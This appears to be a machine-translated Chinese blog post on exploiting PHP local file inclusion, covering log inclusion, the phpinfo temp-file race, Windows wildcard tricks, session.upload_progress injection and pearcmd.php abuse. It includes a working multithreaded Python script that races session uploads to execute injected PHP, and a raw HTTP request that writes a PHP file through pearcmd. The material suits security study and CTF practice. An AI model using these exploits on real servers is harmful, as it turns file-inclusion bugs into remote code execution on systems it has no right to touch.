当前位置:网站首页>Local raw file contains
Local raw file contains
2022-06-22 11:59:00 【nigo134】
1. The local log contains
First, find out through various methods web journal , Then use the above include The way to include .
param=include$_GET[a];&a=/home/u244201241/.logs/php_error.logIf you can't find it web journal , Using conditional competition , contain tmp Files are ok .
2.phpinfo Compete with conditions
Use conditions :
1. There is phpinfo And other pages that can disclose temporary file names
2. Good network conditions , To make Race Condition success
Using scripts :
We're talking about any one PHP File when sending an uploaded packet , No matter this PHP Whether the back end of the service is processed $_FILES The logic of ,PHP Will save the data uploaded by the user to a temporary file first , This file is usually located in the temporary directory of the system , The file name is php start , Followed by 6 Random characters ; Throughout PHP After the file is executed , These uploaded temporary files will be cleaned up .
The condition for this utilization is , You need a place to get the file name , for example phpinfo.phpinfo The page will output all the information of this request , Include $_FILES The value of the variable , It contains the full file name :

3.Windows Clever use of wildcards
PHP In the reading Windows When you file , Will use FindFirstFileExW This Win32 API To find the files , And this API Wildcards are supported
- DOS_STAR: namely <, matching 0 More than characters
- DOS_QM: namely >, matching 1 Characters
- DOS_DOT: namely ", Match point numbers
such , We are Windows Next , You can use the above wildcard to replace the random string in the temporary file name :C:\Windows\Temp\php<<.( because Windows Some unclear internal reasons , There are usually two < To match multiple characters
4.session.upload_progress And Session File contains
PHP Through session progress Function to write temporary files . The principle of this method is ,PHP In the open session.upload_progress.enable after , The information of the file uploaded by the user will be saved in Session in , and PHP Of Session It is saved in the file by default .
Use conditions :
1.session.upload_progress.enable by ON, The default is ON
2.session.upload_progress.cleanup by Off, The default is ON
Using scripts :
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = 'http://192.168.1.162:8080/index.php'
session = requests.session()
flag = 'helloworld'
def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}
while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)
def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?file=/tmp/sess_{flag}',
)
if flag.encode() in response.content:
e.set()
if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))
for i in range(5):
futures.append(pool.submit(write, event))
wait(futures)5.pearcmd.php The clever use of
Use conditions :
1.PHP With Server Form operation
2. Open the register_argc_argv, Off by default
Utilization method :
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close边栏推荐
- Solution to 54e of Niuke challenge
- HMS Core新闻行业解决方案:让技术加上人文的温度
- CF736 D2
- Niuke challenge 54F problem solution & Li Chaoshu's learning notes
- 把蔚来告上法庭,奥迪急什么?
- Solution to 57c of Niuke challenge
- What is the image used to parse the Tso of the DN binlog? It seems that there is no direct use of mysqlbinlog?
- 奋斗吧,程序员——第三十七章.雄关漫道真如铁,而今迈步从头越
- Dirichlet prefix and study notes
- Niuke challenge 53c
猜你喜欢

Niuke challenge 53c

Redis - 4、新的3种数据类型

【软工】 设计模块

CF751E Phys Ed Online

Take Wei Lai to court. What's Audi's hurry?

Configure the GPU version of pytorch and torchvision, and learn the GPU version of torch step

Solution to 55e of Niuke challenge

More than half of 2022, no new air outlet

APM set pitch four rotor control mode

【软工】 软件体系结构
随机推荐
传统零售加速向新零售演进升级,零售数字化势在必行
Duanyongping, the "Buffett of China": a wise investment
奋斗吧,程序员——第四十八章 千金纵买相如赋,脉脉此情谁诉
奋斗吧,程序员——第四十二章 会挽雕弓如满月,西北望,射天狼
企业官网如何提高客户转化率
IO之ByteStream案例
CF edu118f problem solving
TiFlash 函数下推必知必会丨十分钟成为 TiFlash Contributor
CF736 D2
Solution to 55e of Niuke challenge
成功案例 | 安超云助力兰州大学第二医院搭建新型IT基础设施平台 提升医疗信息资源利用率
关于缓存异常:缓存雪崩、击穿、穿透的解决方案
promise升级版async,await来袭,搭配try+catch更香哦
Take Wei Lai to court. What's Audi's hurry?
More than half of 2022, no new air outlet
Install pyGame
奋斗吧,程序员——第三十八章 旧时茅店社林边,路转溪头忽见
云上人和物联科技加入龙蜥社区,携手打造软硬件服务生态
The R language dplyr package mutate function divides two numeric variables in the dataframe to create a new data column (create a new variable)
Add custom fields to the time synchronization message based on uavcan protocol in Px4 code learning